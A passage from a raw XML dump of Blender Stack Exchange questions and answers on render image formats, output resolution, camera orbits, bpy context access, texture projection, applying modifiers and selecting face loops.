professional&#xA;  format (close to    Cineon) that also contains metainformation about&#xA;  the picture; 16-bit    uncompressed bitmap (huge file size). Used in&#xA;  preservation.&lt;/li&gt;&#xA;  &lt;li&gt;&lt;strong&gt;MultiLayer&lt;/strong&gt;    an OpenEXR format that supports storing multiple layers    of images together in one file. Each layer stores a render&#xA;  pass, such    as shadow, specularity, color, etc. You can specify the&#xA;  encoding used    to save the MultiLayer file using the codec selector&#xA;  (ZIP (loss-less)    is shown and used by default). &lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;&lt;strong&gt;OpenEXR&lt;/strong&gt;    an open and non-proprietary    extended and highly dynamic range (HDR) image format, saving both    Alpha and Z-depth buffer&#xA;  information.    Enable the Half button to use the 16-bit format;&#xA;  otherwise 32-bit floating point precision color depth will be used.&#xA;  Enable the Zbuf button to save the Z-buffer (distance from camera)&#xA;  info.&#xA;         Choose a compression/decompression CODEC (ZIP by default) to save disk space.&#xA;         Enable the RGBA button to save the Alpha channel.&#xA;         Because OpenEXR is so new and previews are generally not supported by Operating Systems, enable Preview to save a JPG image&lt;br&gt;&#xA;  along with the EXR image so you can quickly and easily see what the&lt;br&gt;&#xA;  basic image looks like. &lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;&lt;strong&gt;Radiance HDR&lt;/strong&gt;  a High Dynamic Range image format that can store images    in floating point (with light brighter than 1.0) - 32bits&#xA;  per    channel. &lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;strong&gt;TIFF&lt;/strong&gt;   Often used for teletype and facsimile (FAX) images.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Some further notes on a few formats:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;PNG:&lt;/strong&gt; &lt;a href=&quot;http://en.wikipedia.org/wiki/Portable_Network_Graphics&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;PNG&lt;/code&gt;&lt;/a&gt; (Portable Network Graphics) is a &lt;a href=&quot;http://en.wikipedia.org/wiki/Lossless_data_compression&quot; rel=&quot;noreferrer&quot;&gt;lossless format&lt;/a&gt;, meaning that the data can be reconstructed exactly as it was before being compressed. &lt;code&gt;PNG&lt;/code&gt; supports &lt;a href=&quot;http://en.wikipedia.org/wiki/True_Color#True_color_.2824-bit.29&quot; rel=&quot;noreferrer&quot;&gt;true color&lt;/a&gt; color depth. Blender also supports &lt;a href=&quot;http://en.wikipedia.org/wiki/Portable_Network_Graphics#Color_Depth&quot; rel=&quot;noreferrer&quot;&gt;16 bit &lt;code&gt;PNG&lt;/code&gt;&lt;/a&gt;, which gives a larger range of possible colors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because &lt;code&gt;PNG&lt;/code&gt; is lossless, the &lt;em&gt;Compression&lt;/em&gt; slider in &lt;em&gt;Render settings &gt; Output&lt;/em&gt; only affects the file size (AFAIK, the only disadvantage to setting it to &lt;code&gt;100&lt;/code&gt; is it might take more CPU time to compress/decompress)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example, I saved two pngs, one with 100% compression and one with 0% (Uncompressed). The uncompressed png is 2MB, and the fully compressed png is 18.7KB. The images are identical.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;JPEG:&lt;/strong&gt; &lt;a href=&quot;http://en.wikipedia.org/wiki/JPEG&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;JPEG&lt;/code&gt;&lt;/a&gt; is a &lt;a href=&quot;http://en.wikipedia.org/wiki/Lossy_compression&quot; rel=&quot;noreferrer&quot;&gt;lossy&lt;/a&gt; format, which means that data can not be reconstructed exactly as it was before being compressed. (see a comparison to &lt;code&gt;PNG&lt;/code&gt; &lt;a href=&quot;http://en.wikipedia.org/wiki/Portable_Network_Graphics#Comparison_to_JPEG&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;) However, as a result &lt;code&gt;JPEG&lt;/code&gt; takes up a lot less file size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of a &lt;em&gt;Compression&lt;/em&gt; slider there is a &lt;em&gt;Quality&lt;/em&gt; slider when &lt;code&gt;JPEG&lt;/code&gt; is selected as the output format. This refers to how closely the decompressed image resembles the original uncompressed image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example. The left most image is a fully compressed &lt;code&gt;PNG&lt;/code&gt; (36.3KB), the middle image is 100% quality &lt;code&gt;JPEG&lt;/code&gt; (20.3KB), and the right most image is a 0% quality &lt;code&gt;JPEG&lt;/code&gt; (8.5KB). At 1:1 they seem pretty much the same, but when scaled up the differences are more noticeable:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iSpRZ.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/qKGhb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;OpenEXR:&lt;/strong&gt; &lt;a href=&quot;http://en.wikipedia.org/wiki/OpenEXR&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;EXR&lt;/code&gt;&lt;/a&gt; Is a format for &lt;a href=&quot;http://en.wikipedia.org/wiki/High_dynamic_range_imaging&quot; rel=&quot;noreferrer&quot;&gt;HDR&lt;/a&gt; (High Dynamic Range) floating point images, and is capable of storing &lt;a href=&quot;http://en.wikipedia.org/wiki/True_Color#Deep_color_.2830.2F36.2F48-bit.29&quot; rel=&quot;noreferrer&quot;&gt;deep color&lt;/a&gt; depth of &lt;code&gt;32&lt;/code&gt; bits per channel. Blender supports &lt;a href=&quot;http://en.wikipedia.org/wiki/Half_precision&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Half precision&lt;/em&gt;&lt;/a&gt; (&lt;code&gt;16&lt;/code&gt; bits per channel) and &lt;em&gt;full precision&lt;/em&gt; color depth &lt;code&gt;EXR&lt;/code&gt; images (32 bits per channel). As a result, these files can get quite large, especially when using &lt;em&gt;Multilayer&lt;/em&gt; &lt;code&gt;EXR&lt;/code&gt;). For example, a &lt;code&gt;201x167&lt;/code&gt; image saved with lossless &lt;em&gt;ZIP&lt;/em&gt; compression is &lt;code&gt;199.1KB&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These images are good for keeping every bit of data around (including render passes in the case of &lt;em&gt;Multilayer&lt;/em&gt;), which can be useful for compositing.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Note that when rendering a still, the image is stored uncompressed in memory, so you can render an image then save it multiple times in different formats (with different compression ratios).&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2015-06-20T23:15:05.080" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3473" PostTypeId="1" AcceptedAnswerId="3474" CreationDate="2013-10-22T23:29:52.833" Score="22" ViewCount="99100" Body="&lt;p&gt;When I hit &lt;kbd&gt;F12&lt;/kbd&gt; to render an image and zoom in it is quickly pixelated.&lt;br&gt;&#xA;How can I render a higher res display? I have looked through the settings and couldn't find a solution.&lt;/p&gt;&#xA;" OwnerUserId="1165" LastEditorDisplayName="user1853" LastEditDate="2015-10-23T20:40:02.707" LastActivityDate="2018-11-28T01:17:00.643" Title="Rendered image looks pixelated" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="3474" PostTypeId="2" ParentId="3473" CreationDate="2013-10-22T23:31:12.637" Score="29" Body="&lt;p&gt;You can set the output resolution of the render in the &lt;em&gt;Properties Editor &gt; Render settings &gt; &lt;a href=&quot;https://docs.blender.org/manual/en/dev/render/output/output.html&quot; rel=&quot;noreferrer&quot;&gt;Dimensions Panel&lt;/a&gt;&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pTkyf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a description of each of these settings, see the &lt;a href=&quot;https://docs.blender.org/manual/en/dev/render/output/output.html#dimensions-panel&quot; rel=&quot;noreferrer&quot;&gt;Manual&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;Resolution&lt;/em&gt;:&lt;br&gt;&#xA;      The Dimensions section has settings for the size of the rendered images. &#xA;      By default the dimensions SizeX and SizeY are 1920×1080 and can be changed by adjusting the X and Y fields. These buttons control the&#xA;  overall size of the image. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;em&gt;Percentage&lt;/em&gt;:&lt;br&gt;&#xA;       Slider to reduce or increase the size of the rendered image relative to the X/Y values above. This is useful for small test renders that have the same proportions as the final image.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Note you can quickly increase or decrease the resolution while keeping the same aspect ratio by setting the &lt;em&gt;Percentage slider&lt;/em&gt; below the resolution settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7J9Fi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that to set the &lt;em&gt;Precentage&lt;/em&gt; a value greater than &lt;code&gt;100%&lt;/code&gt; you &lt;a href=&quot;https://blender.stackexchange.com/q/2832/599&quot;&gt;will have to type the value in directly&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Other methods&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Note that it is possible to type a quick python math expression such as &lt;code&gt;1920*2&lt;/code&gt; directly into the value box: (helpful for quick arithmetic to precisely set values. This works for all value boxes, not just resolution settings)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/By7Ze.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="3710" LastEditDate="2018-02-02T10:30:56.123" LastActivityDate="2018-02-02T10:30:56.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3476" PostTypeId="1" AcceptedAnswerId="3477" CreationDate="2013-10-23T00:34:36.893" Score="27" ViewCount="36497" Body="&lt;p&gt;I have an object at a fixed position in 3D space. I would like the camera to circle around it while facing it. I want to path of the camera to be circular in 2D, meaning that it does not move up or down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need this to be pretty accurate. I don't want to manually set a keyframe every frame for position and rotation. I would like to do this maybe with an expression, not with manual keyframing. I am not sure how to go about this but I think it is going to involve Python as well as some trigonometry.&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="372" LastEditDate="2013-10-23T23:36:30.100" LastActivityDate="2015-06-26T14:46:38.670" Title="How can I animate the camera in a perfect circular rotation around a fixed position?" Tags="&lt;animation&gt;&lt;workflow&gt;&lt;camera&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="3477" PostTypeId="2" ParentId="3476" CreationDate="2013-10-23T01:03:23.083" Score="51" Body="&lt;h1&gt;Yeah, you &lt;em&gt;could&lt;/em&gt;...&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;You could do this with trigonometry. You'd need three drivers: &lt;strong&gt;X Location&lt;/strong&gt;, &lt;strong&gt;Y Location&lt;/strong&gt;, and &lt;strong&gt;Z Rotation&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to drive it based on, e.g., the frame, you could pick some constant &lt;code&gt;T&lt;/code&gt; for the period (the number of frames for a full circle) and &lt;code&gt;r&lt;/code&gt; for the radius, to get:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;X Location:&lt;/strong&gt; &lt;code&gt;r * cos(frame / T * (2 * pi))&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Y Location:&lt;/strong&gt; &lt;code&gt;r * sin(frame / T * (2 * pi))&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Z Rotation:&lt;/strong&gt; &lt;code&gt;atan2(y, x) + pi/2&lt;/code&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create a variable &lt;code&gt;y&lt;/code&gt; with settings &lt;em&gt;Transform Channel&lt;/em&gt;, &lt;em&gt;Camera&lt;/em&gt;, &lt;em&gt;Y Location&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Create a variable &lt;code&gt;x&lt;/code&gt; with settings &lt;em&gt;Transform Channel&lt;/em&gt;, &lt;em&gt;Camera&lt;/em&gt;, &lt;em&gt;X Location&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;...however, this is downright silly.&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;There is no reason you would really want to do this. Here are a couple problems:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;There's no need&lt;/strong&gt; to be dipping into Python and drivers when all you want to do is a simple orbit.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;It makes things more complicated&lt;/strong&gt; and more difficult to maintain. If you want to change the radius, for example, you have to change it in two locations. Same for the period.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;You have to have a trusted blendfile.&lt;/strong&gt; Since Blender 2.68 &lt;a href=&quot;https://blender.stackexchange.com/q/1903/372&quot;&gt;you have to load a blendfile as &quot;trusted&quot; to use &lt;em&gt;any&lt;/em&gt; Python&lt;/a&gt; (as you should!).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Better way to do this:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Use an empty, rotation, and a constraint.&lt;/strong&gt; Create an empty and parent it to the object you want the camera to follow. Then, parent the camera to the empty. All you need to do now is insert keyframes on the Z rotation of the empty to rotate the camera around. To ensure that the camera faces it, add a &lt;em&gt;Track To&lt;/em&gt; constraint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qM2vq.png&quot; alt=&quot;Constraint and parent method&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;How and why does this work?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;When you rotate the empty, it also rotates all its children about the empty. This is exactly what you want&amp;#8239;&amp;mdash;&amp;#8239;an orbit. The camera will turn, as well, but the &lt;em&gt;Track To&lt;/em&gt; constraint makes sure it's in sync with the object. Otherwise, it could be turning at the right speed but always facing out, or always to the right, etc.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Benefits of this solution&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you animate the object that the empty is parented to, the camera will continue moving correctly.&lt;/li&gt;&#xA;&lt;li&gt;This is really easy to do and takes about 30 seconds.&lt;/li&gt;&#xA;&lt;li&gt;If you work on a team, people will know exactly what you're trying to do.&lt;/li&gt;&#xA;&lt;li&gt;You can also animate the camera if you want (move it up or down, in or out, etc.) and the tracking will still work.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here's what it looks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LICsC.gif&quot; alt=&quot;Rotation demonstration&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="372" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.780" LastActivityDate="2014-01-08T23:17:37.330" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="3478" PostTypeId="2" ParentId="3127" CreationDate="2013-10-23T02:07:53.390" Score="1" Body="&lt;p&gt;It seems from your render that the black/dark part is a reflection of the background (the environment). Try adding a large diffuse white plane above/in front of your objects so that there is something there to reflect instead of just the empty blackness of your world. Make this plane invisible to the camera or use the compositor to exclude it from the final render if it gets in the way of your scene (or move it far enough away so it isn't in view of the camera).&lt;/p&gt;&#xA;" OwnerUserId="417" LastActivityDate="2013-10-23T02:07:53.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3479" PostTypeId="2" ParentId="3437" CreationDate="2013-10-23T02:39:59.140" Score="2" Body="&lt;p&gt;Best guess:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see that bpy.context.material is listed under the &quot;Buttons Context&quot; section in the API doc link you posted (other sections are &quot;View3D Context&quot;, &quot;Screen Context&quot; etc.). Based on what I found during my search, it looks like this is a context from 2.4x that is no longer available in 2.5x+. &quot;Buttons Context&quot; seems to be an old name for what we now know as the properties editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Reference/Buttons/Window&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.4/Reference/Buttons/Window&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that this is old code (or old documentation) that just wasn't removed, but take it with a grain of salt, I could easily be wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt; (from comment below, which author identified as the sought-after code):&#xA;If I get what you're looking for with this attribute, you might want to try bpy.context.object.active_material.&lt;/p&gt;&#xA;" OwnerUserId="417" LastEditorUserId="417" LastEditDate="2013-10-25T19:05:41.297" LastActivityDate="2013-10-25T19:05:41.297" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3480" PostTypeId="2" ParentId="3437" CreationDate="2013-10-23T08:42:29.173" Score="2" Body="&lt;p&gt;As it is listed in the &quot;Buttons Context&quot; section it is only available on such a context. The context in the &lt;em&gt;Python Console&lt;/em&gt; inside Blender is a &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.context.html#screen-context&quot; rel=&quot;nofollow&quot;&gt;Screen Context&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an example where a Buttons Context is used:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class LayoutDemoPanel(bpy.types.Panel):&#xA;    &quot;&quot;&quot;Creates a Panel in the scene context of the properties editor&quot;&quot;&quot;&#xA;    bl_label = &quot;Layout Demo&quot;&#xA;    bl_idname = &quot;SCENE_PT_layout&quot;&#xA;    bl_space_type = 'PROPERTIES'&#xA;    bl_region_type = 'WINDOW'&#xA;    bl_context = 'material'&#xA;&#xA;    def draw(self, context):&#xA;        # context is a Buttons Context&#xA;&#xA;        # Result: &quot;&amp;lt;bpy_struct, Material(&quot;Material&quot;)&amp;gt;&quot;&#xA;        print(context.material)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please note that &lt;code&gt;context.material&lt;/code&gt; wouldn't be accessible if the field &lt;code&gt;bl_context&lt;/code&gt; was something else than &lt;code&gt;'material'&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="151" LastEditorUserId="151" LastEditDate="2013-10-24T12:33:58.990" LastActivityDate="2013-10-24T12:33:58.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3481" PostTypeId="1" CreationDate="2013-10-23T10:08:19.017" Score="3" ViewCount="7314" Body="&lt;p&gt;To clarify things, as most of the firsts answers suggest I need a better wording:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;I'm looking for something like the &quot;smart UV Project&quot; unwrapping method but real time (like a node or mix of node in the material or a projection mode in the texture property or a modifier, whatever adapt to changing meshes)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Why real time and not through unwrapping ? Because most of our objects are parametric, most of the geometry comes from modifiers for ease of management, memory efficiency and many other reason which makes applying those modifier impossible without involving 10x time the workload for the project. So we sometime have only 2D meshes, the rest is an animated modifier stack. As our objects are mostly not organic, stretching is not wanted. Another reason are big meshes (more than a million polygons, really hard to unwrap).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Original Version:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like my texture to always keep a scale and be orthogonally projected following the ngon's normal it's projected on, without unwrapping, so that textures never get distorted, whatever modifications are made to the mesh in edit or object mode. (so if you look at an ngon with orthogonal view mode, facing the ngon, the texture looks exactly like in the image editor)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I Tried &quot;box&quot; projection mode in texture panel. It works to some extent on a plane with &quot;texture coordinates&quot; set to &quot;object&quot;. I can move edges and scale, but if I rotate the mesh on the x or y axis, it starts to distort because the projection is in object coordinate instead of following the ngon normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution should work on complex meshes.&lt;/p&gt;&#xA;" OwnerUserId="296" LastEditorUserId="599" LastEditDate="2013-12-05T22:53:19.380" LastActivityDate="2014-06-03T13:49:50.023" Title="Get texture to never distort or change scale without manual unwrapping" Tags="&lt;texturing&gt;" AnswerCount="3" CommentCount="7" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3482" PostTypeId="2" ParentId="3481" CreationDate="2013-10-23T10:34:34.100" Score="1" Body="&lt;p&gt;You can use Smart unwrap and set the angle to 0. This will make each ngon an island (unless they are totally flat I think).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will look like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/tQdCm.png&quot; alt=&quot;unwrapped ball&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2013-10-23T10:34:34.100" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3483" PostTypeId="2" ParentId="3481" CreationDate="2013-10-23T13:08:01.110" Score="1" Body="&lt;p&gt;You can select all in edit mode with A and then Ctrl E-&gt; Mark Seam and unwrap, then every face will get it's own part of the texture (it still will distort though if you distort the face)&lt;/p&gt;&#xA;" OwnerUserId="1311" LastActivityDate="2013-10-23T13:08:01.110" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3484" PostTypeId="2" ParentId="3481" CreationDate="2013-10-23T17:26:21.470" Score="5" Body="&lt;p&gt;If you don't want to unwrap, the only way I know how to achieve what you are asking for is by using 3D procedural texture shaders. You can achieve some very impressive results if you learn how to work with them and or code them yourself. Blender has some built in that you can layer up on top of each other, though it will likely take you a lot longer than unwrapping UVs and painting to make look nice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that with procedural textures, you will lose a lot of control. With procedural textures you are trying to emulate a texture using math. So getting a dent or scratch right where you want it is difficult, getting an image like a decal is nearly impossible - or will still require unwrapping UVs and a good ol' fashioned texture. So basically procedural textures are really good if you have a repeating natural pattern such as landscapes, dirt, rock, metal, wood, cement, but not for highly controlled images/decals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need your model to deform, you need to use refP or whatever the Blender equivalent is (relatively new to Blender myself.) Essentially, because you are using vertex positions as the coordinates (world space or object space) instead of UVs, if the vertex positions change or morph, your texture will swim unless you are using a static reference position/frame as your texture coordinate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So moral of the story, if you have a deforming object or an object which needs a high amount of control and or decals/images, you are stuck with UV unwrapping. Honestly UV mapping is relatively painless in Blender with their seams. I prefer this method to all other solutions I have seen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know Disney came up with some form of mapping which made it so you don't have to unwrap or mess with UVs called Ptex, you just paint directly on the faces and each face stores its own image map of sorts (texels). But Blender obviously does not have that in their toolset. Here's the reference on that:&#xA;&lt;a href=&quot;http://ptex.us/&quot; rel=&quot;noreferrer&quot;&gt;http://ptex.us/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1458" LastActivityDate="2013-10-23T17:26:21.470" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3485" PostTypeId="2" ParentId="3437" CreationDate="2013-10-23T17:39:30.160" Score="1" Body="&lt;p&gt;Perhaps you are looking for: &lt;strong&gt;bpy.data.materials&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe that contains all the materials available in the Blender session.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you would rather get a specific material or a list of materials assigned to an object you can access those here:&#xA;&lt;strong&gt;bpy.data.objects['objname'].data.materials&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; bpy.data.objects[0].data.materials.items()&#xA;[('walls.017', bpy.data.materials['walls.017'])]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1458" LastActivityDate="2013-10-23T17:39:30.160" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3486" PostTypeId="2" ParentId="3476" CreationDate="2013-10-23T18:27:48.717" Score="15" Body="&lt;p&gt;Another option would be to use a &lt;strong&gt;Curve Circle&lt;/strong&gt;. Set the center point of the circle to the center of the object you want to orbit around.  Parent the camera to the &lt;strong&gt;Curve Circle&lt;/strong&gt; using the Folow Path option.  This gives you a perfect, scalable circle but also allows you alter the shape of the orbit if you want by manipulating the points on the circle.&lt;/p&gt;&#xA;" OwnerUserId="809" LastActivityDate="2013-10-23T18:27:48.717" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3487" PostTypeId="1" AcceptedAnswerId="11035" CreationDate="2013-10-23T20:21:12.223" Score="32" ViewCount="34480" Body="&lt;p&gt;How can I select every other edge loop. In this example its not too bad to do it manually but it other cases it might be. How can I easily select alternating face loops?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lOG27.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2018-08-26T19:51:26.433" Title="Select every other face loop" Tags="&lt;modeling&gt;&lt;selection-tools&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="23" ContentLicense="CC BY-SA 3.0" />
  <row Id="3488" PostTypeId="1" AcceptedAnswerId="3489" CreationDate="2013-10-23T21:39:56.203" Score="32" ViewCount="54669" Body="&lt;p&gt;You can copy modifiers from one object to other objects with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt;&lt;em&gt;&gt; Make links &gt; Modifiers&lt;/em&gt;, or the &lt;em&gt;Copy attributes&lt;/em&gt; addon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, is it possible to &lt;em&gt;apply&lt;/em&gt; modifiers to many objects at once?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2021-03-18T16:55:52.940" Title="Is it possible to apply modifiers to multiple objects at once?" Tags="&lt;modifiers&gt;&lt;objects&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3489" PostTypeId="2" ParentId="3488" CreationDate="2013-10-23T22:13:54.303" Score="40" Body="&lt;p&gt;You can select all of the object you wish to apply the modifiers to, then press &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;&lt;em&gt;&gt; convert to mesh&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dZDoi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Some modifiers have different values for &lt;em&gt;View&lt;/em&gt; and &lt;em&gt;Render&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This will apply the &lt;em&gt;View&lt;/em&gt; settings.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="599" LastEditDate="2013-10-23T22:29:06.523" LastActivityDate="2013-10-23T22:29:06.523" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3490" PostTypeId="2" ParentId="3487" CreationDate="2013-10-23T22:17:15.123" Score="0" Body="&lt;p&gt;I don't think there's a direct tool to do this.&lt;br&gt;I've been playing with all sorts of methods to try and get the effect you want and only one thing has worked, and it doesn't seem like it should.&lt;br&gt;&#xA;If you can end up selecting all the vertical &lt;em&gt;edge&lt;/em&gt; loops, with all the horizontal &lt;em&gt;edge&lt;/em&gt; loops deselected (I used edge ring select for this (ctrl+alt+r-click), but it does mean you're making as many selections as you have horizontal divisions, so a quicker way to do that would help), then you perform a &quot;Select Loop Inner-Region&quot;, it &lt;em&gt;should&lt;/em&gt;, if it behaves the same as my 2.68 install, actually leave you with alternate face loops selected as in your screenshot.&lt;br&gt;&#xA;Bit of a hack perhaps, but there it is.&lt;/p&gt;&#xA;" OwnerUserId="1264" LastActivityDate="2013-10-23T22:17:15.123" CommentCount="1" ContentLicense="CC 